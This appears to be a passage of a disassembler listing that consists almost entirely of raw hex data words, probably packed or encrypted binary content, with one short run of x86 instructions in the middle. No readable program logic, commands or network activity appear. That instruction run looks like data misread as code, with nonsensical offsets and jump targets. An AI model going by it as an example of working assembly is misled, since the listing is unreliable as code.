dd 14D17090h, 0C19461B5h, 1A4C167Ah, 78408070h, 7A60F1E6h
dd 5058B540h, 1AD3747Fh, 50299F4Bh, 902474D2h, 583514D1h
dd 79098067h, 829462F8h, 63F91C48h, 200242F6h, 0A180D192h
dd 3D0F09A5h, 7CFD5981h, 2A7ADC29h, 4F6DE21Fh, 0A50BB42Ch
dd 97BC0108h, 0A7A31D1h, 1D90502Ch, 0A9990F5Bh, 8292F89h
dd 0F79E7A80h, 0A604234Eh, 84678804h, 2C707CE2h, 81045106h
dd 12C1F603h, 64003145h, 7D0F295Ch, 9A48D1ECh, 0FE488010h
dd 4A420836h, 9F5C0B76h, 0A81C3871h, 20219796h, 1C64C0D1h
dd 34AB48FAh, 0C76E883h, 6870CEA2h, 9CE4E709h, 72438EF8h
dd 11E5780Ch, 10B54823h, 0F8089496h, 0F6507FD8h, 0DD4C2ADCh
dd 0C2285424h, 92308114h, 0B8A49D70h, 9E73FBC0h, 58B701CFh
dd 0EAD75BE6h, 60F9FDEDh, 3700BD24h, 0BCA645B4h, 0EA4C357h
dd 0B30D60A8h, 81EB6805h, 969024A4h, 0C490B094h, 9EA63067h
dd 0A4640F4h, 96692D88h, 647E7088h, 0D199A8BEh, 37CBD70h
dd 9AD081AFh, 959288Bh, 520ECD0h, 5EA602B0h, 9F40D545h
dd 74826C64h, 82BBC451h, 5B4A96D2h, 0C804E080h, 39FC3AD1h
dd 0B6B4495Bh, 0C351C901h, 0C18075F9h, 9186CC4h, 73B416D8h
dd 0BE360DCCh, 8A8C24D1h, 13080452h, 0C0F6A14Ch, 0DC90044Ah
dd 0D6C4EDCEh, 64A0F452h, 0CDDE2780h, 0F67078C0h, 64905F83h
dd 13B4ECBCh, 0F4200C58h, 12EF1C9h, 7BDFDCC6h, 26056B67h
dd 0FA1316F4h, 5709E0A8h, 0A70998F7h, 4C1470D4h, 308D9224h
dd 0C472DBF1h, 3E1BAD38h, 0EDE090F2h, 4C4B9591h, 5C3130DDh
dd 0B734053Ah, 3950E35Bh, 6A092E17h, 448F2C3Ch, 7AE80BC9h
dd 14E1CB4h, 0F5D38E81h, 58B87E06h, 0DE0ABC9Eh, 0A0BC8CB5h
dd 11C81CE8h, 440309B4h, 8B19E4C8h, 8106E117h, 9F55D801h
dd 5020C1E9h, 918A06A9h, 0B06440D1h, 8CFF3701h, 0FC2BBF78h
dd 0D091F16Ah, 0C6308834h, 9F9E9F5h, 73E7007Eh, 0A5A4E629h
dd 0ECB86D47h, 91121500h, 0B320ACD8h, 572B0046h, 3926C232h
dd 7212244Ah, 0E02131EFh, 21CD3706h, 1EB8C30h, 24A143BAh
dd 7EB8FFD8h, 4C203C53h, 9DEC605Ah, 0A4F9E01Ah, 0F97EDC20h
dd 0DF20B881h, 14C0742Bh, 0F08A89E6h, 0D8FF9D03h, 4582A1D3h
dd 8898A4D0h, 70DB220h, 0B4C87315h, 699302EDh, 74F2AC4Bh
dd 0D41C5702h, 185FE69Ch, 20671B40h, 68A4BEDEh, 0FF922h
dd 0BF81AB88h, 5A270150h, 19E630C5h, 0B9288CB8h, 707F67D4h
dd 98B6C332h, 5BB23800h, 7BA7094Fh, 19973ECh, 91D36EA2h
dd 7FFE80F9h, 0D39E540Bh, 5E2990ECh, 0BC4E848h, 1C25A38Dh
dd 4DC8B203h, 8B061AC8h, 2CBCB488h, 0BF80452Ch, 510B7B20h
dd 60E18480h, 0CEF2A78h, 6DBEE5F0h, 0A3258258h, 776498C0h
dd 0EC4700F0h, 2DFC7CD8h, 32989C2Ah, 8CD08818h, 3C3CE699h
dd 448850Ch, 0D7DE2C02h, 74EAD89Bh, 9806080Bh, 0BA00293Dh
dd 66DD9C31h, 719D40Fh, 87B849EEh, 0E6D700E9h, 90C09A3Fh
dd 0E5BDEF13h, 822803BFh, 4B80EDC4h, 265638B8h, 0E002E625h
dd 0A4B12150h, 865339ECh, 0CEB5F480h, 0F6D85739h, 8C1FACA0h
dd 144CD05h, 0D4D89BA1h, 4E7D40CEh, 0E52E001h, 0BD8841F0h
dd 0F60D034h, 0A328B8F9h, 0D577CE0h, 2302054Eh, 48EAD1CDh
dd 0B8C859A4h, 402E1516h, 0B4D8E7ACh, 720446C8h, 0DBCE30E6h
dd 0D2023C81h, 0A08EC047h, 0B30E6054h, 528CF9E8h, 2AC81779h
dd 54B6C0A1h, 0B60FCC4h, 0C87DFBEh, 289873h, 31B66436h
dd 0E0D782B1h, 34A2CE4Ah, 3F07EF00h, 9DE69C93h, 8064BC04h
dd 4BAA75F2h, 1C469BE0h, 6D53C30Ah, 0F100CC7Ch, 0B46FE2B8h
dd 26590772h, 49CBE5E9h, 8021B424h, 7428557Eh, 0B660C809h
dd 300C00D7h, 2E17F07Ch, 43892EAh, 0E2DC5654h, 0E8945EF4h
dd 1DA83CB0h, 0D3982483h, 0A73C0CE6h, 8113C111h, 70C87E90h
dd 21054FF2h, 0F15EB38Ch, 30306BE8h, 959F095Ah, 8C81544Bh
dd 5418A4C4h, 1540301h, 0F84CC159h, 22735B8Eh, 2CF907F0h
dd 0F0DAAE42h, 5EB82DE4h, 0D7D13018h, 2468C241h, 0F5668082h
dd 8C803C5Ch, 5BA021C3h, 9B31002Bh, 0BA655363h, 4601A920h
dd 0E63350E1h, 2032F8AAh, 8009C427h, 5C5070EAh, 0AF80590Ch
dd 780AB9BBh, 80B15B5Ah, 58E9AC4h, 917F9504h, 0A0C128E1h
dd 0BC002F87h, 5C07BAD3h, 0B302D854h, 2C12784Ah, 0FCC6E0D2h
dd 89708834h, 0EDF58204h, 0AE0023ABh, 55EE82h, 808F5158h
dd 0E6160926h, 54A079ABh, 0DBC21203h, 81B0785Ch, 0A0C87FE1h
dd 47CFF901h, 20EBC0D3h, 0E77C4EEEh, 0BB036AE4h, 0C4D18A12h
dd 0BB0002Dh, 819D3DDEh, 0B0B7A74Fh, 229FD4h, 0F40AF136h
dd 32FC79D8h, 0BA23C400h, 342667BDh, 0DD970B5Eh, 1484F1D1h
dd 0C128AC87h, 0FFE2E62Bh, 0A212E096h, 0EE301604h, 0A598400h
dd 1E9BC0E1h, 2BF0B98h, 4D87CEF9h, 10078F4h, 0C931517Fh
dd 52BD2E97h, 9CC70FCCh, 0A9EE7960h, 6107D7C4h, 749A236Dh
dd 0D1EADAD0h, 0D9A7F591h
dd 49822C43h, 30380B55h, 4232AF48h, 0FD0E00DBh, 0D1615F92h
dd 9003B7DFh, 0C1F08132h, 4E02177Dh, 0E4D0DEE9h, 3E2CE0C8h
dd 2AFE3EA0h, 0D1130900h, 86C08454h, 5E64E627h, 0FCE8250Ch
dd 61229E27h, 0F14841C6h, 0DD082064h, 1013B914h, 60020208h
dd 0D5C054D3h, 0C0DB832h, 301C0810h, 36AB9100h, 93707834h
dd 2BFC3D22h, 5AD8828Fh, 59E75C02h, 8894A458h, 0C45B8B52h
dd 80C2E228h, 0A14A48B4h, 5ABF1092h, 2D709B8Ch, 0B8313464h
dd 0A8E1289Eh, 38D4263Fh, 2C9DB35Eh, 0C860ED0h, 8B806664h
dd 29009431h, 9BEB2487h, 101DC01Bh, 24D41FD2h, 0A01E9059h
dd 52B22660h, 42983BD4h, 0F86C1DEh, 0CCF96800h, 0D851D446h
dd 37AC34F0h, 8000AB71h, 9790B93Ch, 0BCEC0029h, 0D88698E4h
dd 0A82CB5E1h, 0D90024B3h, 0AE5EB6EEh, 98E619DBh, 0EC224095h
dd 0AC3A9631h, 0DD4F073Fh, 5C275902h, 40E96502h, 0E0462660h
dd 49B49E2Fh, 2A96A4D1h, 0C05F7CA2h, 653E8050h, 58058CA5h
dd 50851660h, 565F5849h, 0F2D1625Ch, 320110DEh, 0EE5BAFBh
dd 946C30h, 0E98C9F8Dh, 0DD4ED486h, 0BBE0B700h, 91A6484Fh
dd 10305CB9h, 938502Eh, 0C0B2F5A1h, 2653F1C1h, 26B00B88h
dd 0E6E068D5h, 160892ECh, 0A0D702E9h, 0B200A664h, 35276128h
dd 16DA631Ah, 0B1B8D1D2h, 293070DCh, 0C50CEA58h, 84439D0Dh
dd 16D670D1h, 33D52E18h, 0F081B728h, 0D1D02085h, 7770E38h
dd 0F1D815DDh, 0D6D0E990h, 0A8FA0059h, 726A9B29h, 0BA2F80D4h
dd 4FB8C0CBh, 0F784008Dh, 0E5CA52FBh, 0B000B916h, 0A6DB807Ah
dd 511475Ah, 31535849h, 3483AE1Dh, 0A3378B4Bh, 0FD33C019h
dd 1E567843h, 308AB011h, 304F5018h, 0C63220C1h, 18800D9Ah
dd 0AE16BD92h, 48C0D5DDh, 113F5619h, 31F70B45h, 11801D90h
dd 62AC75C5h, 9698DB14h, 0F3037D34h, 111F561Dh, 7E16B892h
dd 0CB781049h, 0E3F400A5h, 0B16550C3h, 0A2E80075h, 342BCE1Dh
dd 0D930B0D7h, 7FB84803h, 0DAB403ADh, 59FE07E9h, 5A8051h
dd 0FD08B934h, 90F817F8h, 0C616DD0Ch, 3C9A913Dh, 3E18377Dh
dd 7931D05Bh, 58380660h, 3DA61127h, 0B08C1705h, 2018240Bh
dd 3D379C00h, 5DAE212Ah, 57D8EBB5h, 0D68CA054h, 9884A0EAh
dd 709D017Fh, 814BDC6Ch, 209C401Fh, 69F0B4F5h, 6F0D0E8h
dd 242BC907h, 0E7EE3FF0h, 0A075BAA6h, 0FAC0B424h, 0B05417BEh
dd 0AD4D145Eh, 2B0A08B2h, 10A0C7B6h, 0B8A68A3Fh, 492D8B39h
dd 0C9998041h, 72F5391h, 9E0499A7h, 314C8023h, 0A8C3F93Fh
dd 0F916DCF1h, 0F0C4B515h, 4F70A1Bh, 0A0F0EEC6h, 17CA1FE4h
dd 40AB0009h, 3A320FDh, 2CC288A0h, 0EED01900h, 0B2781110h
dd 0F0ECA8ABh, 0DAF9181Dh, 764B106Bh, 0D2D13D6Fh, 40581422h
dd 482FB044h, 860E4C82h, 0F0A0AD7Dh, 7801CA97h, 8E18D060h
dd 50FD2062h, 0E41C88Dh, 49D3AC26h, 8717EF23h, 0C7B44CC1h
dd 4E7F281Ch, 4B06FC69h, 97844E5h, 7950BFA6h, 6BF06018h
dd 0EB84780h, 0DFDEAD81h, 504E80E0h, 4400727Ah, 4877D7A1h
dd 2A55C58h, 0C60228D2h, 1C40AD51h, 1603ED90h, 59F94281h
dd 0AB582454h, 58771C34h, 20611010h, 0A4B35A80h, 0A63C2010h
dd 7B70EFF6h, 92102D09h, 81A43AD5h, 7E08B804h, 8497C841h
dd 28875825h, 40C5A631h, 59584F78h, 19487F3Bh, 0CB59A813h
dd 0B8009C55h, 2463C786h, 0D8343179h, 20E5A839h, 0EB407744h
dd 0A1B700AEh, 0CFF87F19h, 61007C70h, 76CD3FCBh, 3642C0Eh
dd 15EA4210h, 67880137h, 2579058Ah, 0FE3C822Dh, 782241F6h
dd 0F835C11Dh, 8A0F575Fh, 0BBC782E7h, 0EF659724h, 2688060Ch
dd 8ACCE58Ch, 0E306C215h, 1183C382h, 0E7B7ED84h, 1C0E53Dh
dd 60FB020Bh, 5D328388h, 87DC80EAh, 0E28A5200h, 20C25582h
dd 0D88B1FFh, 8353452h, 0EA52604Bh, 83837857h, 756BB31h
dd 252D8A55h, 7CAD9255h, 45E1490Dh, 0C6812387h, 2309834Dh
dd 87C7E323h, 411D8C5Dh, 0B70DF369h, 0E831D318h, 2FA1B1EAh
dd 3413B5Ch, 0E9180D22h, 54AF5B59h, 5EBB0153h, 8A558F24h
dd 0CCF8F5D4h, 0E40EC482h, 0C75A833Eh, 0E1CE22F4h, 7ECC215h
dd 268112B9h, 0AEA0144h, 764EBF39h, 1AD2E0FDh, 302086A4h
dd 8C673162h, 0D655517Eh, 0C582F882h, 48064D85h, 0EA41ED58h
dd 1781733Bh, 0F66E06E8h, 0FFC8D82Bh, 7E14350Ah, 0EA06E00Ah
dd 1E282053h, 0AE68A56h, 43A124F1h, 61902584h, 1A90CF02h
dd 695A0880h, 0A3AA6DFAh, 750FAF0Eh, 0E8C05C6h, 82E8EA18h
dd 3CBFB61Eh, 9C94E929h, 2E00D5E7h, 6B03640Bh, 650D12Ah
dd 0E4FB5B07h, 387BC05Fh, 0E721F603h, 0E4E90242h, 47BC5421h
dd 5CD9D012h, 7701BA52h, 0F872D27Fh, 0E14042DAh, 8B66218h
dd 4586EA4Eh, 0C58C5B1Dh, 75B90C7Eh, 3F730ACAh, 90A9C832h
dd 0D8F80684h, 576BE56h, 3DEAEB92h, 92735D90h, 69A90348h
dd 19741DD0h, 0EA1256F8h, 155F6826h, 0D4020F60h, 6CA90489h
dd 0CA0CD720h, 0F8308510h, 2B691018h, 2547CD26h, 0A8AB984h
dd 0C20754EAh, 0C50EC81h, 0F0D8C780h, 0D05D0246h, 1FDDE964h
dd 0C2A0A78Fh, 5AD70866h, 93FAF673h, 581A5667h, 3A27CA63h
dd 8B81010Ch, 0C481240Ch, 0B114A804h, 0AAE9D00Ch, 3C8B0E48h
dd 74182414h, 0C87100Ah, 8177F780h, 463AF8ADh, 29590CC0h
dd 1815AD5h, 0A668DCC3h, 70EB0171h, 27A90B8Ah, 0FF6E8E83h
dd 7968C377h, 0E91C1E6Bh, 0F702B055h, 0DE9046D6h, 6B1C300h
dd 5EF531A3h, 334CC421h, 22341E25h, 0A4505B0Fh, 0FB9034E2h
dd 3D327CC7h, 77BA3F4Eh, 70682367h, 58109A6Ch, 7D6D056Eh
dd 0E1719640h, 1012573h, 551A8674h, 8003FEE9h, 26BF5738h
dd 0AD4D0A1h, 3C8BFA29h, 0A6E90662h, 807646DEh, 0CA88430Eh
dd 79831459h, 6B5EE33h, 0E6F875Ch, 0A87BB0C6h, 688957BBh
dd 2163AEE7h, 0E9883F06h, 830F281Fh, 1C8985ECh, 0E08FBE06h
dd 0C6010774h, 0CC9B6858h, 343E8926h, 0D174B924h, 8B0E9EB0h
dd 6A1F0ABh, 24F78F1Eh, 414C582Ch, 401CE1E1h, 16BD554Fh
dd 0E844E00h, 129FF581h, 0E9280C36h, 294414DEh, 6232FE77h
dd 82F70E1Bh, 614D5DF1h, 83F7534Ch, 0FF1A3384h, 0E4075F6Ch
dd 3BDE1E50h, 208B89FEh, 3087F659h, 665A7BF7h, 3433D3C7h
dd 0D06316Dh, 41EFB303h, 38FA70A6h, 0C3C25453h, 483168E9h
dd 0F0EF0116h, 102B656Eh, 2D1700BBh, 3B903E1Ah, 5D80114h
dd 3E5B2907h, 5884143h, 0E5685136h, 0E2BB3743h, 83485405h
dd 0ABA61C87h, 81B241E8h, 288E5448h, 0CCFC3EC2h, 89515C62h
dd 0A23540E1h, 262C7168h, 63D7F7h, 337A7E18h, 2809CA81h
dd 0F077B29h, 824490A8h, 22109158h, 0E709ED86h, 18DF847Fh
dd 63105893h, 67BBC094h, 0C0771742h, 0A52D5BFCh, 0E0EB3E58h
dd 0CE30E9F0h, 90682A71h, 0AC51D176h, 48D0510h, 2C805266h
dd 5A603B87h, 3602E2C0h, 8A04CAFEh, 9FFC17EFh, 0E9D50AB0h
dd 23E1E4B1h, 0E3C537DCh, 1C35F1C6h, 941D345Ch, 0C8B60F07h
dd 619C5182h, 1005D714h, 34481F4Eh, 0F1835D1Ch, 931C3E44h
dd 712CCD17h, 60B2D987h, 5494B209h, 8B282Bh, 4AA676B2h
dd 0EB3AC14Bh, 0F3810007h, 23457A48h, 6D5A36E9h, 0C0269648h
dd 56846B66h, 4AD9E689h, 26E9C518h, 84B07937h, 94515FF9h
dd 0E94F7095h, 0BFC747C2h, 0F5345DEEh, 95D3E397h, 95B7D46h
dd 14020456h, 176038Dh, 2438E908h, 0AD14B6B9h, 0CDF728h
dd 0FE5BF920h, 54A9E9C1h
dd 8234842Eh, 0F886B32Fh, 0D9F31801h, 590064EDh, 7070F5F8h
dd 30ACA9E1h, 0F8A4424Dh, 91790AC0h, 0A491A414h, 0E36ACE5Dh
dd 0C0E9C1DAh, 9ABB44DFh, 3C871882h, 643868A2h, 314732Dh
dd 0F618E9E2h, 0FDBA0314h, 29D179DEh, 0CB015A90h, 5765948h
dd 49954199h, 21B99007h, 2F807DB5h, 9803E6C1h, 0DA296862h
dd 0A90558C3h, 47DD5826h, 1230A039h, 7F1CC80h, 0E94B143h
dd 0DD599EFDh, 0E328C9F4h, 3C7C4688h, 67F2C33Eh, 972B311Dh
dd 0FDB469CBh, 52F4E958h, 2FB300CCh, 4E684B9Dh, 5AF9D464h
dd 6CC7BD00h, 210533E3h, 4FAD2A07h, 9479D1E9h, 0E8010AEDh
dd 2482C8Bh, 5E08950h, 0E869B746h, 58179116h, 31E90664h
dd 0A1938478h, 0E2CF47D5h, 55A2C581h, 0C1012C7Ah, 6BE008E3h
dd 4A55D218h, 41185D34h, 3372D868h, 41BB261Fh, 8A354CC0h
dd 0D3F7242Bh, 77D803B3h, 0E3B0662Ch, 0AD3E4ADCh, 3DEB0460h
dd 5187DD91h, 81C25B34h, 0CEBCC8F7h, 58E6E64Fh, 0FE00AE6Eh
dd 0E9C0B353h, 61913009h, 7310210Dh, 9659E0FAh, 0A8018362h
dd 84B1E793h, 0BF846C01h, 6A9BE9h, 650EF0BDh, 4D3FF410h
dd 0F07611F3h, 5D20C093h, 8247C29h, 8F0D5F76h, 6814047h
dd 0BDDDD20h, 2083E926h, 0A0333520h, 1262F69h, 0FF20DAC7h
dd 19371A4h, 1603488h, 0A85972B8h, 0BDE2EA52h, 94DAA325h
dd 0EA5370h, 77331D1Bh, 0EF288179h, 5F202301h, 3309698Fh
dd 0A0203414h, 2E547652h, 0A287F545h, 4BFD2C10h, 7706CB69h
dd 84C123Fh, 0D48F849Ch, 28593315h, 0E9F92192h, 925817Dh
dd 51E2D1C2h, 0D240E5E8h, 939F274Ah, 2609F635h, 31C3095Bh
dd 0CBE081A6h, 880804DAh, 0D8494468h, 598DE3Eh, 0B205640h
dd 0CDFE58C5h, 81B24D02h, 8040C6E2h, 22F598E9h, 806D2148h
dd 0B9515B54h, 170F5055h, 1BE98170h, 0DEF0A90Dh, 3E2B97A4h
dd 3490DB93h, 369D0A44h, 0CF2989CCh, 65F4E79Ch, 9BC19482h
dd 5DE8855Fh, 4F984987h, 0F7472F20h, 0E739C1DFh, 5EF8F06h
dd 0D6AC2081h, 0B08961ABh, 0B8E1FE24h, 0E183109h, 2057D84Bh
dd 7F04ADADh, 0DF897245h, 92D59981h, 0B5B10B64h, 0F06600Ch
dd 0C2F32828h, 6E9A5C86h, 871230B0h, 41055756h, 7C9969ECh
dd 84FFF707h, 0DCA5D38Dh, 0B9E154DCh, 685E82D0h, 0D99A7810h
dd 32EDCFC3h, 899CC6EEh, 9A0B7198h, 0D74AA17h, 8012884h
dd 429B335Dh, 16B40631h, 1822B721h, 0D8FBAD03h, 0E0A33AC2h
dd 0E591F488h, 0DC062058h, 0DAF700F1h, 8E234C1h, 0C2B00B06h
dd 0A9D75980h, 0D8BAD089h, 4378E00Ch, 0E0990C58h, 0DE6B5CB5h
dd 5C4D5E20h, 0BD6824CEh, 6A215D42h, 269765BFh, 757C625Eh
dd 5D056605h, 9146B6Ah, 430A5C23h, 0B8F87520h, 2C8D2E91h
dd 0F526DEE3h, 1B6B3324h, 0D4C0631h, 0E6A626E8h, 0E556508Eh
dd 362037D9h, 0B3694668h, 0BA528AE9h, 6674C0C7h, 126214Fh
dd 0F40C82D6h, 71C71D43h, 0D73F3FDEh, 83174A48h, 4AC306C1h
dd 43B874DDh, 1963EB9h, 215E3B49h, 4577683Dh, 6842924Dh
dd 246AC582h, 0BA25BF0Ah, 0F7BD1A80h, 617A0D0Ah, 1483B332h
dd 4569C451h, 0CAE2759h, 6B266968h, 7E7AC53Ch, 0C1B1980Bh
dd 320F4100h, 0F1BE3FBFh, 0EF0128CDh, 0E9F80BEAh, 199E188Eh
dd 0B040684h, 50840FC0h, 34FFC8E0h, 90D62877h, 0E0C48085h
dd 0C370EBE6h, 1325E37Dh, 0CC893AEDh, 1A179A10h, 81201EE9h
dd 0EBA51BA2h, 8103C066h, 3E4530F1h, 18E7F144h, 1D664D58h
dd 2562CB68h, 2E93E622h, 245B4609h, 94E0D821h, 0C1801F5Bh
dd 0C83118E8h, 0E2B8FBB0h, 79756812h, 33C10FCDh, 22A5D207h
dd 0D8675548h, 75FE4082h, 124CAC8Ch, 74651368h, 0E90E9841h
dd 0AC7B5B8h, 0B9B4F028h, 521626F3h, 5C4D1FB6h, 2CD80E5Ah
dd 0E9F4C5FEh, 0E01788AFh, 0F0814193h, 7F4CE95Eh, 5C828538h
dd 3858F1F6h, 6812EFB0h, 44CF74C2h, 3BD11110h, 7B5D2401h
dd 0B2FC021Eh, 71F1630Ch, 0D1F740BFh, 250E9C1h, 541D3BD6h
dd 0BD1B1Eh, 30DD43EAh, 0FE59CE29h, 21C802E6h, 0B85062A2h
dd 0C6FE577Ah, 0F63F4598h, 20A09E4Bh, 875EF245h, 9A878712h
dd 0A4501858h, 39CCD0BFh, 0C17EB2D8h, 2CC5B186h, 0E582C239h
dd 757A7C24h, 0E5A29086h, 0AAAF770h, 10450494h, 0AE753DCDh
dd 0BB5BBD48h, 12521304h, 0C07CD879h, 12595D40h, 61068068h
dd 58D63FDh, 9202790Bh, 0B5BA0290h, 4A9A411Eh, 0C3579FC3h
dd 21598B5Fh, 7B40E948h, 0DA8F3AA5h, 0F3A44B0Bh, 828BA2BDh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
xchg ch, [ebp+620084EDh]
add eax, 41313899h
and eax, 0E03E1ECDh
and [esi-79A02064h], bh
jmp near ptr 3F3B16EEh
; ---------------------------------------------------------------------------
dw 95B7h
dd 0CDF3F71Fh, 9206AAEEh, 7240C580h, 142EE781h, 0F7771F61h
dd 472D52D7h, 74E82989h, 0FE25A048h, 0F480C41Ch, 2FE128C9h
dd 2B92FFB8h, 79688430h, 52E69C01h, 6E90AC60h, 0D7939DA6h
dd 572DC601h, 84040B18h, 9B0815DFh, 2C6C99Ch, 0E421E865h
dd 4CD7E904h, 965E1BD3h, 310D3E48h, 1817BD15h, 1E003758h
dd 0C16CC813h, 0F71D03EBh, 815DD1D3h, 0AD759FC2h, 0B2D5E801h
dd 8E69B08h, 933069D9h, 482F26BAh, 0EA022E03h, 2230685Dh
dd 0E914D766h, 852091F1h, 0A610F295h, 70A71908h, 8F70FE31h
dd 970648E6h, 0D5290A03h, 0C6054E69h, 6FB31DECh, 0AD879500h
dd 931E538h, 0D765E9F1h, 9C62A89Ah, 8812EB70h, 11C78AECh
dd 0B1A26465h, 0ABE95809h, 0C3683661h, 2159E112h, 46A08F04h
dd 0F0C60507h, 432D60ABh, 232E5207h, 7CAF801h, 2011513Eh
dd 0C08028CAh, 520207E5h, 70C3B151h, 0C98006E1h, 0C1247D73h
dd 0F519A545h, 3302ECB1h, 0E218156Ah, 0DF9C886Fh, 40052C79h
dd 4C33A384h, 79090537h, 71CC12Ah, 0E05004F3h, 6249E903h
dd 4081E543h, 0EEF03C46h, 0F030284Bh, 9E3722h, 6E1EBA78h
dd 0DA312516h, 0A9015B2Eh, 3E7FE906h, 0C94D4C30h, 8F131107h
dd 0A5F5F51Ah, 5B69EAD4h, 9E14B989h, 8ADF5DE8h, 78D3F66Ah
dd 1DBD2504h, 5860280Ch, 7E2C003h, 0FA12C280h, 357AE8B9h
dd 0D86D3D98h, 239A0500h, 0C129AED3h, 51DA584Ch, 0A3D1D8D8h
dd 856CBF28h, 0C730D390h, 3D2D25EDh, 13A63C34h, 705C814h
dd 4E7F5E48h, 6DF4B04h, 3C40D566h, 421C4E73h, 0B07C6F75h
dd 86EBDE60h, 2778551Dh, 2E0AC381h, 18876218h, 9C5F74B3h
dd 4018A80Ch, 98246EC6h, 0E86B12CAh, 0F712C153h, 3CEE31D0h
dd 87813FCBh, 4AEC545Fh, 0E7D1EA61h, 93189F8h, 0EFC15AD7h
dd 1CC7F300h, 96E76639h, 8D023D0Ch, 0C1FB01C6h, 4B974BAEh
dd 8DD95EBh, 1EA950FFh, 969F22CBh, 12AD2911h, 10F4239Eh
dd 0BE2E2D0Bh, 0FE3518ABh, 0C1DD8EEh, 0CE8A4092h, 5128446h
dd 41CDC50Fh, 0EEC10873h, 1070796h, 987D3284h, 123C8142h
dd 89EC5DFEh, 0F0807B61h, 9E38EDCAh, 0E26FC155h, 322FA0EAh
dd 4DE92AC6h, 5B0FBD36h, 0EB09DAF6h, 0F568A8E0h, 0DCBB5F6Ch
dd 0C4BD1355h, 0B9D8C037h, 0AF0B53F6h, 0CD295Dh, 893EDC7h
dd 5A2048D8h, 0FB76DD02h, 4D000947h, 1DC4C581h, 8191386Fh
dd 184C89E5h, 4638802Eh, 0E9136939h, 2C5294D4h, 3E90083Ch
dd 15621425h, 4D073868h, 8BD1881Eh, 93305D54h, 53807F51h
dd 26B23C52h, 0CB5FDC92h, 30C12120h, 525DC9BAh, 66B81150h
dd 2DE72318h, 31AFF0Ch, 0E9570E5Bh, 9C4A4D0Fh, 0B19D2236h
dd 6D108F1h, 0F7864E28h, 0C516D3D8h, 0D63A26F7h, 0A8ED01BEh
dd 0F050F227h, 0B73EBDF5h, 0EF21924Eh, 0F9DDEA04h, 0DDB2D919h
dd 7ECEC53h, 559E5A99h, 16CEA48h, 1E53F8B9h, 7DA853Eh
dd 0A8C1E1A8h, 495C715Ch, 1225D05h, 788181CBh, 714D9765h
dd 846A0DCh, 145ED8FAh, 7EA8F044h, 97040CB3h, 800E4804h
dd 744F4AE6h, 4719455Ah, 21FD05D8h, 0E61E9D9h, 5DC73664h
dd 497B6058h, 294FD65Ah, 0D0043CFDh, 0BE6E22A2h, 3EDD686Eh
dd 0B4C2D81h, 2D8029E9h, 14E084DFh, 4248465Ah, 22E78F54h
dd 698B8CCAh, 52E40F0h, 0BE5F250Bh, 65470930h, 10BA1457h
dd 1DDF2926h, 475956FFh, 0EB5457B7h, 0A325636Ch, 0EB7183E2h
dd 5021C24Eh, 0CE2D03C0h, 5F4D444Bh, 80EC41D9h, 7447B926h
dd 7BD121B2h, 0DA42F9E1h, 53B90C44h, 2C86131Fh, 0DCC57612h
dd 9E315A0h, 5CDE4679h, 508FDD03h, 0EB3118C0h, 40F95D73h
dd 4F8DF6CBh, 930F507h, 609E5EF7h, 0D3B05013h, 5FF81389h
dd 35DA902Dh, 0E0051292h, 14FBE963h, 157132CDh, 598C8169h
dd 5D00BBA5h, 81178223h, 26691CCBh, 0A33D52h, 251327C7h
dd 0FF6EC383h, 9990A0B5h, 12017D0Fh, 0C81C8BD8h, 0A3276860h
dd 0FAF31B77h, 5F73C902h, 0A0145A32h, 0BFC1F409h, 0D473329Eh
dd 5F05FA29h, 0C281EA01h, 8B5D0B00h, 0B15B5A0Ah, 0D96861FBh
dd 81265205h, 26B4160h, 0E96F4A0Bh, 8C09292Ah, 1C350435h
dd 0E5C0CB44h, 605B3B61h, 0B09273E5h, 646F81BCh, 0E6191EE4h
dd 0C4296C5Bh, 13AC154Bh, 9751E94h, 4EF94097h, 0F739540h
dd 0F6500E9Ch, 0B843D063h, 205A0A60h, 5B2666FDh, 0CD091952h
dd 0EE7461DBh, 4E7AF128h, 0D94C131Ch, 509DF1BCh, 0EE805CDFh
dd 0E630931Ch, 0C808F49Bh, 0C78601ECh, 0E541C60Ah, 5634C2F0h
dd 0AA5B94Ch, 353FD1A8h, 239255Bh, 42604432h, 8B676ADDh
dd 4BCD4453h, 649A1262h, 5CB6A0CFh, 10944090h, 0AE1E4426h
dd 0BA3C4980h, 998A3E2h, 59CA2987h, 0F05C723h, 683A6D98h
dd 1BB143F0h, 506AB982h, 16DBC5E2h, 3E76401Ch, 4D45C63Bh
dd 0E53DC1E2h, 0E9CBD404h, 7D80D04Bh, 4C1768BAh, 0B809411Ah
dd 0CF0B4827h, 284F3103h, 0C22951C0h, 883CAF1h, 4FAC158h
dd 0BBF2CCC0h, 68900B18h, 9472C22h, 7E90F96h, 5E49E058h
dd 2508002Ch, 1B0D3C0Eh, 4A392C06h, 7B822DBh, 5D6F14BDh
dd 3B48A208h, 10B1CE6Bh, 1A312B1Bh, 5801E25Dh, 17B55157h
dd 0D5F7F450h, 0F670D898h, 9405D7Dh, 4D6F2CE9h, 61DC4055h
dd 68906C29h, 0CA8B9F20h, 2EA03C6h, 7E88586Ah, 5DAC860h
dd 2D6F7826h, 0C15C8701h, 8AD5E998h, 0A0414A2Fh, 0B75380C2h
dd 0ADC78097h, 3DBCE1F6h, 95809627h, 3BC309B8h, 0B93C3593h
dd 0CB0CCCBCh, 0FE8DC654h, 663BC19Eh, 0C9C6FE59h, 0F8AAECCEh
dd 51BB88A1h, 81D2622Dh, 61F7BD14h, 7EFC7224h, 766C267Dh
dd 0C223AF9Ch, 7BD2601Eh, 8285960h, 0FB8A1128h, 8874C73Ah
dd 20DA0148h, 75E91208h, 56CB4E0Dh, 0E5814E6h, 80E35D49h
dd 59244F29h, 0E5236B68h, 2E3504h, 0ADC6F181h, 11A0C4Bh
dd 0FB2859C8h, 80772B4Dh, 55A01CC5h, 34E92D52h, 0C321EC81h
dd 0C1BA8658h, 3CC004EBh, 0D5D87AF8h, 729A150h, 0E9771947h
dd 0AB6949BBh, 7588E107h, 240E2363h, 516FC72Dh, 0B540BB39h
dd 7544DDFFh, 33902C4h, 0F328FC82h, 59027AF1h, 0EEE38953h
dd 0DAB83446h, 0E1DDF522h, 801A9F27h, 0CB0E989Ch, 82CEDB59h
dd 0AEA0C3E3h, 22A84E06h, 73EACF34h, 4649D8D9h, 5FB03Ch
dd 165F1FD0h, 0D1D9F759h, 0B4E475B8h, 2FA13813h, 22FE3C00h
dd 4C892920h, 32071CFh, 0F1539FB4h, 870588D2h, 55CB7277h
dd 7D5D3949h, 2BCBDF6Ah, 0B4E8ACCAh, 75969555h, 0B29782EEh
